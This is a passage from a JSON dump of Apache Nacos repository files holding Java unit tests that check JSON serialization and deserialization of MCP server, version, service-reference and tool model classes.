assertTrue(json.contains(\"\\\"serverName\\\":\\\"default-server\\\"\"));\n        assertTrue(json.contains(\"\\\"status\\\":\\\"valid\\\"\"));\n        assertTrue(json.contains(\"\\\"selected\\\":true\"));\n    }\n    \n    @Test\n    void testDeserializeValidItem() throws JsonProcessingException {\n        String json = \"{\\\"serverName\\\":\\\"test-server\\\",\\\"serverId\\\":\\\"server-123\\\",\\\"status\\\":\\\"valid\\\",\"\n                + \"\\\"exists\\\":false,\\\"selected\\\":true,\\\"server\\\":{\\\"name\\\":\\\"test-server\\\",\\\"id\\\":\\\"server-123\\\",\"\n                + \"\\\"protocol\\\":\\\"stdio\\\",\\\"description\\\":\\\"Test server\\\"}}\";\n        \n        McpServerValidationItem result = mapper.readValue(json, McpServerValidationItem.class);\n        assertNotNull(result);\n        assertEquals(\"test-server\", result.getServerName());\n        assertEquals(\"server-123\", result.getServerId());\n        assertEquals(\"valid\", result.getStatus());\n        assertNull(result.getErrors());\n        assertFalse(result.isExists());\n        assertTrue(result.isSelected());\n        \n        assertNotNull(result.getServer());\n        assertEquals(\"test-server\", result.getServer().getName());\n        assertEquals(\"server-123\", result.getServer().getId());\n        assertEquals(AiConstants.Mcp.MCP_PROTOCOL_STDIO, result.getServer().getProtocol());\n        assertEquals(\"Test server\", result.getServer().getDescription());\n    }\n    \n    @Test\n    void testDeserializeInvalidItem() throws JsonProcessingException {\n        String json = \"{\\\"serverName\\\":\\\"invalid-server\\\",\\\"status\\\":\\\"invalid\\\",\"\n                + \"\\\"errors\\\":[\\\"Missing protocol\\\",\\\"Invalid port\\\",\\\"Empty name\\\"],\\\"exists\\\":false,\\\"selected\\\":false}\";\n        \n        McpServerValidationItem result = mapper.readValue(json, McpServerValidationItem.class);\n        assertNotNull(result);\n        assertEquals(\"invalid-server\", result.getServerName());\n        assertNull(result.getServerId());\n        assertEquals(\"invalid\", result.getStatus());\n        assertNotNull(result.getErrors());\n        assertEquals(3, result.getErrors().size());\n        assertEquals(\"Missing protocol\", result.getErrors().get(0));\n        assertEquals(\"Invalid port\", result.getErrors().get(1));\n        assertEquals(\"Empty name\", result.getErrors().get(2));\n        assertFalse(result.isExists());\n        assertFalse(result.isSelected());\n        assertNull(result.getServer());\n    }\n    \n    @Test\n    void testDeserializeDuplicateItem() throws JsonProcessingException {\n        String json = \"{\\\"serverName\\\":\\\"existing-server\\\",\\\"serverId\\\":\\\"existing-id\\\",\\\"status\\\":\\\"duplicate\\\",\"\n                + \"\\\"exists\\\":true,\\\"selected\\\":false,\\\"errors\\\":[\\\"Server already exists\\\"]}\";\n        \n        McpServerValidationItem result = mapper.readValue(json, McpServerValidationItem.class);\n        assertNotNull(result);\n        assertEquals(\"existing-server\", result.getServerName());\n        assertEquals(\"existing-id\", result.getServerId());\n        assertEquals(\"duplicate\", result.getStatus());\n        assertNotNull(result.getErrors());\n        assertEquals(1, result.getErrors().size());\n        assertEquals(\"Server already exists\", result.getErrors().get(0));\n        assertTrue(result.isExists());\n        assertFalse(result.isSelected());\n        assertNull(result.getServer());\n    }\n    \n    @Test\n    void testDeserializeDefaultSelectedValue() throws JsonProcessingException {\n        String json = \"{\\\"serverName\\\":\\\"default-server\\\",\\\"status\\\":\\\"valid\\\"}\";\n        \n        McpServerValidationItem result = mapper.readValue(json, McpServerValidationItem.class);\n        assertNotNull(result);\n        assertEquals(\"default-server\", result.getServerName());\n        assertEquals(\"valid\", result.getStatus());\n        assertTrue(result.isSelected());\n        assertFalse(result.isExists());\n    }\n    \n    @Test\n    void testDeserializeMinimalItem() throws JsonProcessingException {\n        String json = \"{\\\"serverName\\\":\\\"minimal-server\\\",\\\"status\\\":\\\"unknown\\\",\\\"exists\\\":false,\\\"selected\\\":true}\";\n        \n        McpServerValidationItem result = mapper.readValue(json, McpServerValidationItem.class);\n        assertNotNull(result);\n        assertEquals(\"minimal-server\", result.getServerName());\n        assertNull(result.getServerId());\n        assertEquals(\"unknown\", result.getStatus());\n        assertNull(result.getErrors());\n        assertFalse(result.isExists());\n        assertTrue(result.isSelected());\n        assertNull(result.getServer());\n    }\n    \n    @Test\n    void testDeserializeWithEmptyErrors() throws JsonProcessingException {\n        String json = \"{\\\"serverName\\\":\\\"server-with-empty-errors\\\",\\\"status\\\":\\\"valid\\\",\\\"errors\\\":[]}\";\n        \n        McpServerValidationItem result = mapper.readValue(json, McpServerValidationItem.class);\n        assertNotNull(result);\n        assertEquals(\"server-with-empty-errors\", result.getServerName());\n        assertEquals(\"valid\", result.getStatus());\n        assertNotNull(result.getErrors());\n        assertEquals(0, result.getErrors().size());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/McpServerVersionInfoTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerVersionDetail;\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpServerVersionInfoTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        McpServerVersionInfo mcpServerVersionInfo = new McpServerVersionInfo();\n        mcpServerVersionInfo.setId(UUID.randomUUID().toString());\n        mcpServerVersionInfo.setName(\"testVersionInfo\");\n        mcpServerVersionInfo.setLatestPublishedVersion(\"1.0.0\");\n        mcpServerVersionInfo.setVersionDetail(new ServerVersionDetail());\n        mcpServerVersionInfo.getVersionDetail().setVersion(\"1.0.0\");\n        mcpServerVersionInfo.getVersionDetail().setRelease_date(\"2023-07-01T00:00:00Z\");\n        mcpServerVersionInfo.getVersionDetail().setIs_latest(true);\n        mcpServerVersionInfo.setVersions(Collections.singletonList(mcpServerVersionInfo.getVersionDetail()));\n        \n        String json = mapper.writeValueAsString(mcpServerVersionInfo);\n        assertNotNull(json);\n        assertTrue(json.contains(String.format(\"\\\"id\\\":\\\"%s\\\"\", mcpServerVersionInfo.getId())));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"testVersionInfo\\\"\"));\n        assertTrue(json.contains(\"\\\"versionDetail\\\":{\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"release_date\\\":\\\"2023-07-01T00:00:00Z\\\"\"));\n        assertTrue(json.contains(\"\\\"is_latest\\\":true\"));\n        assertTrue(json.contains(\"\\\"latestPublishedVersion\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"versionDetails\\\":[{\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"id\\\":\\\"b646506e-901b-41a1-8790-a4378d11055e\\\",\\\"name\\\":\\\"testVersionInfo\\\",\\\"versionDetail\\\":\"\n                + \"{\\\"version\\\":\\\"1.0.0\\\",\\\"release_date\\\":\\\"2023-07-01T00:00:00Z\\\",\\\"is_latest\\\":true},\\\"enabled\\\":true,\"\n                + \"\\\"latestPublishedVersion\\\":\\\"1.0.0\\\",\\\"versionDetails\\\":[{\\\"version\\\":\\\"1.0.0\\\",\\\"release_date\\\":\"\n                + \"\\\"2023-07-01T00:00:00Z\\\",\\\"is_latest\\\":true}]}\";\n        McpServerVersionInfo mcpServerVersionInfo = mapper.readValue(json, McpServerVersionInfo.class);\n        assertNotNull(mcpServerVersionInfo);\n        assertEquals(\"b646506e-901b-41a1-8790-a4378d11055e\", mcpServerVersionInfo.getId());\n        assertEquals(\"testVersionInfo\", mcpServerVersionInfo.getName());\n        assertNotNull(mcpServerVersionInfo.getVersionDetail());\n        assertEquals(\"1.0.0\", mcpServerVersionInfo.getVersionDetail().getVersion());\n        assertEquals(\"2023-07-01T00:00:00Z\", mcpServerVersionInfo.getVersionDetail().getRelease_date());\n        assertTrue(mcpServerVersionInfo.getVersionDetail().getIs_latest());\n        assertTrue(mcpServerVersionInfo.isEnabled());\n        assertEquals(\"1.0.0\", mcpServerVersionInfo.getLatestPublishedVersion());\n        assertNotNull(mcpServerVersionInfo.getVersionDetails());\n        assertEquals(1, mcpServerVersionInfo.getVersionDetails().size());\n        ServerVersionDetail versionDetail = mcpServerVersionInfo.getVersionDetails().get(0);\n        assertEquals(\"1.0.0\", versionDetail.getVersion());\n        assertEquals(\"2023-07-01T00:00:00Z\", versionDetail.getRelease_date());\n        assertTrue(versionDetail.getIs_latest());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/McpServiceRefTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpServiceRefTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        McpServiceRef serviceRef = new McpServiceRef();\n        serviceRef.setNamespaceId(\"public\");\n        serviceRef.setGroupName(\"DEFAULT_GROUP\");\n        serviceRef.setServiceName(\"mcp-service\");\n        serviceRef.setTransportProtocol(\"http\");\n        \n        String json = mapper.writeValueAsString(serviceRef);\n        assertTrue(json.contains(\"\\\"namespaceId\\\":\\\"public\\\"\"));\n        assertTrue(json.contains(\"\\\"groupName\\\":\\\"DEFAULT_GROUP\\\"\"));\n        assertTrue(json.contains(\"\\\"serviceName\\\":\\\"mcp-service\\\"\"));\n        assertTrue(json.contains(\"\\\"transportProtocol\\\":\\\"http\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"namespaceId\\\":\\\"public\\\",\\\"groupName\\\":\\\"DEFAULT_GROUP\\\",\"\n                + \"\\\"serviceName\\\":\\\"mcp-service\\\",\\\"transportProtocol\\\":\\\"http\\\"}\";\n        \n        McpServiceRef result = mapper.readValue(json, McpServiceRef.class);\n        assertNotNull(result);\n        assertEquals(\"public\", result.getNamespaceId());\n        assertEquals(\"DEFAULT_GROUP\", result.getGroupName());\n        assertEquals(\"mcp-service\", result.getServiceName());\n        assertEquals(\"http\", result.getTransportProtocol());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/McpToolMetaTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpToolMetaTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        McpToolMeta toolMeta = new McpToolMeta();\n        toolMeta.setEnabled(true);\n        \n        Map<String, String> invokeContext = new HashMap<>();\n        invokeContext.put(\"path\", \"/api/tool\");\n        invokeContext.put(\"method\", \"POST\");\n        toolMeta.setInvokeContext(invokeContext);\n        \n        Map<String, Object> templates = new HashMap<>();\n        Map<String, Object> template = new HashMap<>();\n        template.put(\"templateType\", \"json\");\n        templates.put(\"default\", template);\n        toolMeta.setTemplates(templates);\n        \n        String json = mapper.writeValueAsString(toolMeta);\n        assertTrue(json.contains(\"\\\"enabled\\\":true\"));\n        assertTrue(json.contains(\"\\\"invokeContext\\\":{\"));\n        assertTrue(json.contains(\"\\\"path\\\":\\\"/api/tool\\\"\"));\n        assertTrue(json.contains(\"\\\"method\\\":\\\"POST\\\"\"));\n        assertTrue(json.contains(\"\\\"templates\\\":{\"));\n        assertTrue(json.contains(\"\\\"default\\\":{\"));\n        assertTrue(json.contains(\"\\\"templateType\\\":\\\"json\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"invokeContext\\\":{\\\"path\\\":\\\"/api/tool\\\",\\\"method\\\":\\\"POST\\\"},\"\n                + \"\\\"enabled\\\":true,\\\"templates\\\":{\\\"default\\\":{\\\"templateType\\\":\\\"json\\\"}}}\";\n        \n        McpToolMeta result = mapper.readValue(json, McpToolMeta.class);\n        assertNotNull(result);\n        assertTrue(result.isEnabled());\n        assertNotNull(result.getInvokeContext());\n        assertEquals(\"/api/tool\", result.getInvokeContext().get(\"path\"));\n        assertEquals(\"POST\", result.getInvokeContext().get(\"method\"));\n        assertNotNull(result.getTemplates());\n        assertNotNull(result.getTemplates().get(\"default\"));\n        Map<String, Object> template = (Map<String, Object>) result.getTemplates().get(\"default\");\n        assertEquals(\"json\", template.get(\"templateType\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/McpToolSpecificationTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpToolSpecificationTest extends BasicRequestTest {\n    \n    private static final String MCP_TOOL_SPEC =\n            \"{\\\"tools\\\":[{\\\"name\\\":\\\"testTool\\\",\\\"description\\\":\\\"test tool description\\\",\\\"inputSchema\\\":{\\\"type\\\":\\\"object\\\",\"\n                    + \"\\\"properties\\\":{\\\"a\\\":{\\\"description\\\":\\\"aaa\\\",\\\"type\\\":\\\"string\\\"}}}}],\\\"toolsMeta\\\":{\\\"testTool\\\":\"\n                    + \"{\\\"invokeContext\\\":{\\\"path\\\":\\\"/xxx\\\",\\\"method\\\":\\\"GET\\\"},\\\"enabled\\\":true,\\\"templates\\\":\"\n                    + \"{\\\"json-go-tamplate\\\":{\\\"templateType\\\":\\\"string\\\",\\\"responseTemplate\\\":{\\\"body\\\":\\\"string\\\"},\"\n                    + \"\\\"requestTemplate\\\":{\\\"headers\\\":[],\\\"method\\\":\\\"GET\\\",\\\"argsToFormBody\\\":true,\\\"argsToJsonBody\\\":false,\"\n                    + \"\\\"body\\\":\\\"string\\\",\\\"url\\\":\\\"\\\",\\\"argsToUrlParam\\\":true}}}}},\\\"securitySchemes\\\":[{\\\"id\\\":\\\"1\\\",\"\n                    + \"\\\"type\\\":\\\"apiKey\\\",\\\"scheme\\\":\\\"\\\",\\\"in\\\":\\\"header\\\",\\\"name\\\":\\\"testSecurity\\\",\"\n                    + \"\\\"defaultCredential\\\":\\\"publicKey\\\"}]}\";\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        McpToolSpecification toolSpecification = new McpToolSpecification();\n        toolSpecification.setSpecificationType(\"encrypted\");\n        \n        // 添加 EncryptObject 测试\n        EncryptObject encryptObject = new EncryptObject();\n        encryptObject.setData(\"encryptedData\");\n        Map<String, String> encryptInfo = new HashMap<>();\n        encryptInfo.put(\"alg\", \"AES\");\n        encryptInfo.put(\"iv\", \"initialVector\");\n        encryptObject.setEncryptInfo(encryptInfo);\n        toolSpecification.setEncryptData(encryptObject);\n        \n        McpTool mcpTool = new McpTool();\n        toolSpecification.setTools(Collections.singletonList(mcpTool));\n        mcpTool.setName(\"testTool\");\n        mcpTool.setDescription(\"test tool description\");\n        \n        Map<String, Object> inputSchema = new HashMap<>();\n        inputSchema.put(\"type\", \"object\");\n        Map<String, Object> properties = new HashMap<>();\n        inputSchema.put(\"properties\", properties);\n        Map<String, String> aSchema = new HashMap<>();\n        properties.put(\"a\", aSchema);\n        aSchema.put(\"type\", \"string\");\n        aSchema.put(\"description\", \"aaa\");\n        mcpTool.setInputSchema(inputSchema);\n\n        Map<String, Object> outputSchema = new HashMap<>();\n        outputSchema.put(\"type\", \"object\");\n        Map<String, Object> outProperties = new HashMap<>();\n        Map<String, String> resultSchema = new HashMap<>();\n        resultSchema.put(\"type\", \"string\");\n        resultSchema.put(\"description\", \"result\");\n        outProperties.put(\"result\", resultSchema);\n        outputSchema.put(\"properties\", outProperties);\n        mcpTool.setOutputSchema(outputSchema);\n        \n        McpToolMeta mcpToolMeta = new McpToolMeta();\n        Map<String, Object> templates = new HashMap<>();\n        mcpToolMeta.setTemplates(templates);\n        Map<String, Object> jsonGoTemplate = new HashMap<>();\n        templates.put(\"json-go-tamplate\", jsonGoTemplate);\n        jsonGoTemplate.put(\"templateType\", \"string\");\n        Map<String, Object> requestTemplate = new HashMap<>();\n        jsonGoTemplate.put(\"requestTemplate\", requestTemplate);\n        requestTemplate.put(\"url\", \"\");\n        requestTemplate.put(\"method\", \"GET\");\n        requestTemplate.put(\"headers\", Collections.emptyList());\n        requestTemplate.put(\"argsToJsonBody\", false);\n        requestTemplate.put(\"argsToUrlParam\", true);\n        requestTemplate.put(\"argsToFormBody\", true);\n        requestTemplate.put(\"body\", \"string\");\n        Map<String, Object> responseTemplate = new HashMap<>();\n        jsonGoTemplate.put(\"responseTemplate\", responseTemplate);\n        responseTemplate.put(\"body\", \"string\");\n        \n        Map<String, String> invokeContext = new HashMap<>();\n        invokeContext.put(\"path\", \"/xxx\");\n        invokeContext.put(\"method\", \"GET\");\n        mcpToolMeta.setInvokeContext(invokeContext);\n        toolSpecification.setToolsMeta(Collections.singletonMap(\"testTool\", mcpToolMeta));\n        \n        SecurityScheme securityScheme = new SecurityScheme();\n        securityScheme.setId(\"1\");\n        securityScheme.setType(\"apiKey\");\n        securityScheme.setName(\"testSecurity\");\n        securityScheme.setScheme(\"\");\n        securityScheme.setIn(\"header\");\n        securityScheme.setDefaultCredential(\"publicKey\");\n        toolSpecification.setSecuritySchemes(Collections.singletonList(securityScheme));\n        \n        String json = mapper.writeValueAsString(toolSpecification);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"specificationType\\\":\\\"encrypted\\\"\"));\n        assertTrue(json.contains(\"\\\"encryptData\\\":{\"));\n        assertTrue(json.contains(\"\\\"data\\\":\\\"encryptedData\\\"\"));\n        assertTrue(json.contains(\"\\\"encryptInfo\\\":{\"));\n        assertTrue(json.contains(\"\\\"tools\\\":[{\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"testTool\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test tool description\\\"\"));\n        assertTrue(json.contains(\"\\\"inputSchema\\\":{\"));\n        assertTrue(json.contains(\"{\\\"type\\\":\\\"object\\\"\"));\n        assertTrue(json.contains(\"\\\"properties\\\":{\\\"a\\\":{\"));\n        assertTrue(json.contains(\"\\\"outputSchema\\\":{\"));\n        assertTrue(json.contains(\"\\\"toolsMeta\\\":{\\\"testTool\\\":{\"));\n        assertTrue(json.contains(\"\\\"invokeContext\\\":{\"));\n        assertTrue(json.contains(\"\\\"templates\\\":{\"));\n        assertTrue(json.contains(\"\\\"securitySchemes\\\":[{\"));\n        \n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"specificationType\\\":\\\"encrypted\\\",\\\"encryptData\\\":{\\\"data\\\":\\\"encryptedData\\\",\"\n                + \"\\\"encryptInfo\\\":{\\\"alg\\\":\\\"AES\\\",\\\"iv\\\":\\\"initialVector\\\"}},\"\n                + \"\\\"tools\\\":[{\\\"name\\\":\\\"testTool\\\",\\\"description\\\":\\\"test tool description\\\",\"\n                + \"\\\"inputSchema\\\":{\\\"type\\\":\\\"object\\\",\"\n                + \"\\\"properties\\\":{\\\"a\\\":{\\\"description\\\":\\\"aaa\\\",\\\"type\\\":\\\"string\\\"}}},\"\n                + \"\\\"outputSchema\\\":{\\\"type\\\":\\\"object\\\",\"\n                + \"\\\"properties\\\":{\\\"result\\\":{\\\"type\\\":\\\"string\\\",\"\n                + \"\\\"description\\\":\\\"result\\\"}}}}],\"\n                + \"\\\"toolsMeta\\\":{\\\"testTool\\\":\"\n                + \"{\\\"invokeContext\\\":{\\\"path\\\":\\\"/xxx\\\",\\\"method\\\":\\\"GET\\\"},\\\"enabled\\\":true,\\\"templates\\\":\"\n                + \"{\\\"json-go-tamplate\\\":{\\\"templateType\\\":\\\"string\\\",\\\"responseTemplate\\\":{\\\"body\\\":\\\"string\\\"},\"\n                + \"\\\"requestTemplate\\\":{\\\"headers\\\":[],\\\"method\\\":\\\"GET\\\",\\\"argsToFormBody\\\":true,\"\n                + \"\\\"argsToJsonBody\\\":false,\"\n                + \"\\\"body\\\":\\\"string\\\",\\\"url\\\":\\\"\\\",\\\"argsToUrlParam\\\":true}}}}},\"\n                + \"\\\"securitySchemes\\\":[{\\\"id\\\":\\\"1\\\",\"\n                + \"\\\"type\\\":\\\"apiKey\\\",\\\"scheme\\\":\\\"\\\",\\\"in\\\":\\\"header\\\",\\\"name\\\":\\\"testSecurity\\\",\"\n                + \"\\\"defaultCredential\\\":\\\"publicKey\\\"}]}\";\n        \n        McpToolSpecification result = mapper.readValue(json, McpToolSpecification.class);\n        assertEquals(\"encrypted\", result.getSpecificationType());\n        assertNotNull(result.getEncryptData());\n        assertEquals(\"encryptedData\", result.getEncryptData().getData());\n        assertNotNull(result.getEncryptData().getEncryptInfo());\n        assertEquals(\"AES\", result.getEncryptData().getEncryptInfo().get(\"alg\"));\n        assertEquals(\"initialVector\", result.getEncryptData().getEncryptInfo().get(\"iv\"));\n        assertEquals(1, result.getTools().size());\n        assertEquals(\"testTool\", result.getTools().get(0).getName());\n        assertEquals(\"test tool description\", result.getTools().get(0).getDescription());\n        assertEquals(\"object\", result.getTools().get(0).getInputSchema().get(\"type\"));\n        assertNotNull(result.getTools().get(0).getInputSchema().get(\"properties\"));\n        assertEquals(\"object\", result.getTools().get(0).getOutputSchema().get(\"type\"));\n        assertNotNull(result.getTools().get(0).getOutputSchema().get(\"properties\"));\n        assertEquals(1, result.getToolsMeta().size());\n        assertNotNull(result.getToolsMeta().get(\"testTool\"));\n        assertNotNull(result.getToolsMeta().get(\"testTool\").getInvokeContext());\n        assertNotNull(result.getToolsMeta().get(\"testTool\").getTemplates());\n        assertNotNull(result.getSecuritySchemes());\n        assertEquals(1, result.getSecuritySchemes().size());\n    }\n    \n    @Test\n    void testDeserializeOriginal() throws JsonProcessingException {\n        McpToolSpecification result = mapper.readValue(MCP_TOOL_SPEC, McpToolSpecification.class);\n        assertEquals(1, result.getTools().size());\n        assertEquals(\"testTool\", result.getTools().get(0).getName());\n        assertEquals(\"test tool description\", result.getTools().get(0).getDescription());\n        assertEquals(\"object\", result.getTools().get(0).getInputSchema().get(\"type\"));\n        assertNotNull(result.getTools().get(0).getInputSchema().get(\"properties\"));\n        assertEquals(1, result.getToolsMeta().size());\n        assertNotNull(result.getToolsMeta().get(\"testTool\"));\n        assertNotNull(result.getToolsMeta().get(\"testTool\").getInvokeContext());\n        assertNotNull(result.getToolsMeta().get(\"testTool\").getTemplates());\n        assertNotNull(result.getSecuritySchemes());\n        assertEquals(1, result.getSecuritySchemes().size());\n        // 默认值测试\n        assertNull(result.getSpecificationType());\n        assertNull(result.getEncryptData());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/McpToolTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass McpToolTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        McpTool mcpTool = new McpTool();\n        mcpTool.setName(\"testTool\");\n        mcpTool.setDescription(\"A test tool for MCP\");\n        \n        Map<String, Object> inputSchema = new HashMap<>();\n        inputSchema.put(\"type\", \"object\");\n        \n        Map<String, Object> properties = new HashMap<>();\n        Map<String, String> paramA = new HashMap<>();\n        paramA.put(\"type\", \"string\");\n        paramA.put(\"description\", \"Parameter A\");\n        properties.put(\"a\", paramA);\n        \n        inputSchema.put(\"properties\", properties);\n        mcpTool.setInputSchema(inputSchema);\n\n        Map<String, Object> outputSchema = new HashMap<>();\n        outputSchema.put(\"type\", \"object\");\n        Map<String, Object> outputProperties = new HashMap<>();\n        Map<String, String> resultSchema = new HashMap<>();\n        resultSchema.put(\"type\", \"string\");\n        resultSchema.put(\"description\", \"Result\");\n        outputProperties.put(\"result\", resultSchema);\n        outputSchema.put(\"properties\", outputProperties);\n        mcpTool.setOutputSchema(outputSchema);\n\n        // Set meta field (_meta in JSON)\n        Map<String, Object> meta = new HashMap<>();\n        meta.put(\"hint\", \"This is a test tool\");\n        meta.put(\"version\", 1);\n        mcpTool.setMeta(meta);\n\n        // Set annotations\n        McpToolAnnotations annotations = new McpToolAnnotations();\n        annotations.setTitle(\"Test Tool Title\");\n        annotations.setReadOnlyHint(true);\n        annotations.setDestructiveHint(false);\n        annotations.setIdempotentHint(true);\n        annotations.setOpenWorldHint(false);\n        mcpTool.setAnnotations(annotations);\n        \n        String json = mapper.writeValueAsString(mcpTool);\n        assertTrue(json.contains(\"\\\"name\\\":\\\"testTool\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"A test tool for MCP\\\"\"));\n        assertTrue(json.contains(\"\\\"inputSchema\\\":{\"));\n        assertTrue(json.contains(\"\\\"type\\\":\\\"object\\\"\"));\n        assertTrue(json.contains(\"\\\"properties\\\":{\"));\n        assertTrue(json.contains(\"\\\"a\\\":{\"));\n        assertTrue(json.contains(\"\\\"type\\\":\\\"string\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"Parameter A\\\"\"));\n\n        assertTrue(json.contains(\"\\\"outputSchema\\\":{\"));\n        assertTrue(json.contains(\"\\\"result\\\":{\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"Result\\\"\"));\n\n        // Verify _meta field serialization\n        assertTrue(json.contains(\"\\\"_meta\\\":{\"));\n        assertTrue(json.contains(\"\\\"hint\\\":\\\"This is a test tool\\\"\"));\n        assertTrue(json.contains(\"\\\"version\\\":1\"));\n\n        // Verify annotations field serialization\n        assertTrue(json.contains(\"\\\"annotations\\\":{\"));\n        assertTrue(json.contains(\"\\\"title\\\":\\\"Test Tool Title\\\"\"));\n        assertTrue(json.contains(\"\\\"readOnlyHint\\\":true\"));\n        assertTrue(json.contains(\"\\\"destructiveHint\\\":false\"));\n        assertTrue(json.contains(\"\\\"idempotentHint\\\":true\"));\n        assertTrue(json.contains(\"\\\"openWorldHint\\\":false\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = 